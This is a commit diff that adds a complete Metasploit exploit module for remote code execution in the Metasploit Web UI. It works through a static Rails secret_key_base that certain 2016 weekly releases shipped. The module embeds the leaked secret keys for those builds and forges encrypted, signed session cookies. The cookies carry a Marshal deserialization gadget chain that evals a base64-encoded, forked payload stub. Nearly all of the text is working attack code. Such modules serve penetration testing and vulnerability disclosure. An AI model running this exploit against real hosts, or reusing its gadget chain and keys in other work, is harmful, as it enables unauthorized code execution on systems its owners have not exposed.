Land rapid7#7341, add module metasploit_static_secret_key_base

Author: pbarry-r7

modules/exploits/multi/http/metasploit_static_secret_key_base.rb

@@ -0,0 +1,312 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  #Helper Classes copy/paste from Rails4
+  class MessageVerifier
+
+    class InvalidSignature < StandardError; end
+
+    def initialize(secret, options = {})
+      @secret = secret
+      @digest = options[:digest] || 'SHA1'
+      @serializer = options[:serializer] || Marshal
+    end
+
+    def generate(value)
+      data = ::Base64.strict_encode64(@serializer.dump(value))
+      "#{data}--#{generate_digest(data)}"
+    end
+
+    def generate_digest(data)
+      require 'openssl' unless defined?(OpenSSL)
+      OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
+    end
+
+  end
+
+  class MessageEncryptor
+
+    module NullSerializer #:nodoc:
+
+      def self.load(value)
+        value
+      end
+
+      def self.dump(value)
+        value
+      end
+
+    end
+
+    class InvalidMessage < StandardError; end
+
+    OpenSSLCipherError = OpenSSL::Cipher::CipherError
+
+    def initialize(secret, *signature_key_or_options)
+      options = signature_key_or_options.extract_options!
+      sign_secret = signature_key_or_options.first
+      @secret = secret
+      @sign_secret = sign_secret
+      @cipher = options[:cipher] || 'aes-256-cbc'
+      @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)
+      # @serializer = options[:serializer] || Marshal
+    end
+
+    def encrypt_and_sign(value)
+      @verifier.generate(_encrypt(value))
+    end
+
+    def _encrypt(value)
+      cipher = new_cipher
+      cipher.encrypt
+      cipher.key = @secret
+      # Rely on OpenSSL for the initialization vector
+      iv = cipher.random_iv
+      #encrypted_data = cipher.update(@serializer.dump(value))
+      encrypted_data = cipher.update(value)
+      encrypted_data << cipher.final
+      [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
+    end
+
+    def new_cipher
+      OpenSSL::Cipher::Cipher.new(@cipher)
+    end
+
+  end
+
+  class KeyGenerator
+
+    def initialize(secret, options = {})
+      @secret = secret
+      @iterations = options[:iterations] || 2**16
+    end
+
+    def generate_key(salt, key_size=64)
+      OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
+    end
+
+  end
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Metasploit Web UI Static secret_key_base Value',
+      'Description'    => %q{
+        This module exploits the Web UI for Metasploit Community, Express and
+        Pro where one of a certain set of Weekly Releases have been applied.
+        These Weekly Releases introduced a static secret_key_base value.
+        Knowledge of the static secret_key_base value allows for
+        deserialization of a crafted Ruby Object, achieving code execution.
+
+        This module is based on
+        exploits/multi/http/rails_secret_deserialization
+      },
+      'Author'         =>
+        [
+          'Justin Steven',    # @justinsteven
+          'joernchen of Phenoelit <joernchen[at]phenoelit.de>'  # author of rails_secret_deserialization
+        ],
+      'License'        => MSF_LICENSE,
+      'References'  =>
+        [
+          ['OVE', '20160904-0002'],
+          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401'],
+          ['URL', 'https://github.com/justinsteven/advisories/blob/master/2016_metasploit_rce_static_key_deserialization.md']
+        ],
+      'DisclosureDate' => 'Sep 15 2016',
+      'Platform'       => 'ruby',
+      'Arch'           => ARCH_RUBY,
+      'Privileged'     => false,
+      'Targets'        => [ ['Automatic', {} ] ],
+      'DefaultTarget'  => 0,
+      'DefaultOptions' =>
+        {
+          'SSL'   => true
+        }
+      ))
+
+    register_options(
+      [
+        Opt::RPORT(3790),
+        OptString.new('TARGETURI', [ true, 'The path to the Metasploit Web UI', "/"]),
+      ], self.class)
+  end
+
+
+  #
+  # This stub ensures that the payload runs outside of the Rails process
+  # Otherwise, the session can be killed on timeout
+  #
+  def detached_payload_stub(code)
+  %Q^
+    code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
+    if RUBY_PLATFORM =~ /mswin|mingw|win32/
+      inp = IO.popen("ruby", "wb") rescue nil
+      if inp
+        inp.write(code)
+        inp.close
+      end
+    else
+      Kernel.fork do
+        eval(code)
+      end
+    end
+    {}
+  ^.strip.split(/\n/).map{|line| line.strip}.join("\n")
+  end
+
+  def check_secret(data, digest, secret)
+    data = Rex::Text.uri_decode(data)
+    keygen = KeyGenerator.new(secret,{:iterations => 1000})
+    sigkey = keygen.generate_key('signed encrypted cookie')
+    digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), sigkey, data)
+  end
+
+  def get_secret(data, digest)
+    secrets = [
+      ['4.12.0_2016061501', 'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7'],
+      ['4.12.0_2016062101', '99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc'],
+      ['4.12.0_2016062101', '446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde'],
+      ['4.12.0_2016081001', '61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a'],
+      ['4.12.0_2016081201', '23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32'],
+      ['4.12.0_2016083001', '18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615'],
+      ['unreleased build', 'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c']
+    ]
+    for secret in secrets
+      return secret if check_secret(data, digest, secret[1])
+    end
+    [nil, nil]
+  end
+
+  def build_signed_cookie(secret)
+    keygen = KeyGenerator.new(secret,{:iterations => 1000})
+    enckey = keygen.generate_key('encrypted cookie')
+    sigkey = keygen.generate_key('signed encrypted cookie')
+    crypter = MessageEncryptor.new(enckey, sigkey)
+
+    # Embed the payload within detached stub
+    code =
+      "eval('" +
+      Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) +
+      "'.unpack('m0').first)"
+
+    # Embed code within Rails 4 popchain
+    cookie = "\x04\b" +
+    "o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +
+      ":\x0E@instanceo" +
+        ":\bERB\x07" +
+          ":\t@src"+  Marshal.dump(code)[2..-1] +
+          ":\x0c@lineno"+ "i\x00" +
+      ":\f@method:\vresult:" +
+      "\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"
+
+    crypter.encrypt_and_sign(cookie)
+  end
+
+  def check
+    cookie_name = '_ui_session'
+
+    vprint_status("Checking for cookie #{cookie_name}")
+    res = send_request_cgi({
+      'uri'    => datastore['TARGETURI'] || "/",
+      'method' => 'GET',
+    }, 25)
+
+    unless res
+      return Exploit::CheckCode::Unknown   # Target didn't respond
+    end
+
+    if res.get_cookies.empty?
+      return Exploit::CheckCode::Unknown   # Target didn't send us any cookies. We can't continue.
+    end
+
+    match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
+
+    unless match
+      return Exploit::CheckCode::Unknown   # Target didn't send us a session cookie. We can't continue.
+    end
+
+    if match[1] == cookie_name
+      vprint_status("Found cookie")
+    else
+      vprint_status("Adjusting cookie name to #{match[1]}")
+      cookie_name = match[1]
+    end
+
+    vprint_status("Searching for proper secret")
+
+    (version, secret) = get_secret(match[2], match[3])
+
+    if secret
+      vprint_status("Found secret, detected version #{version}")
+      Exploit::CheckCode::Appears
+    else
+      Exploit::CheckCode::Safe
+    end
+  end
+
+  #
+  # Send the actual request
+  #
+  def exploit
+    cookie_name = '_ui_session'
+
+    print_status("Checking for cookie #{cookie_name}")
+
+    res = send_request_cgi({
+      'uri'    => datastore['TARGETURI'] || "/",
+      'method' => 'GET',
+    }, 25)
+
+    unless res
+      fail_with(Failure::Unreachable, "Target didn't respond")
+    end
+
+    if res.get_cookies.empty?
+      fail_with(Failure::UnexpectedReply, "Target didn't send us any cookies. We can't continue.")
+    end
+
+    match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
+
+    unless match
+      fail_with(Failure::UnexpectedReply, "Target didn't send us a session cookie. We can't continue.")
+    end
+
+    if match[1] == cookie_name
+      vprint_status("Found cookie")
+    else
+      print_status("Adjusting cookie name to #{match[1]}")
+      cookie_name = match[1]
+    end
+
+    print_status("Searching for proper secret")
+
+    (version, secret) = get_secret(match[2], match[3])
+
+    unless secret
+      fail_with(Failure::NotVulnerable, "SECRET not found, target not vulnerable?")
+    end
+
+    print_status("Found secret, detected version #{version}")
+
+    cookie = build_signed_cookie(secret)
+
+    print_status "Sending cookie #{cookie_name}"
+    res = send_request_cgi({
+      'uri'     => datastore['TARGETURI'] || "/",
+      'method'  => 'GET',
+      'headers' => {'Cookie' => cookie_name+"="+ cookie},
+    }, 25)
+
+    handler
+  end
+
+end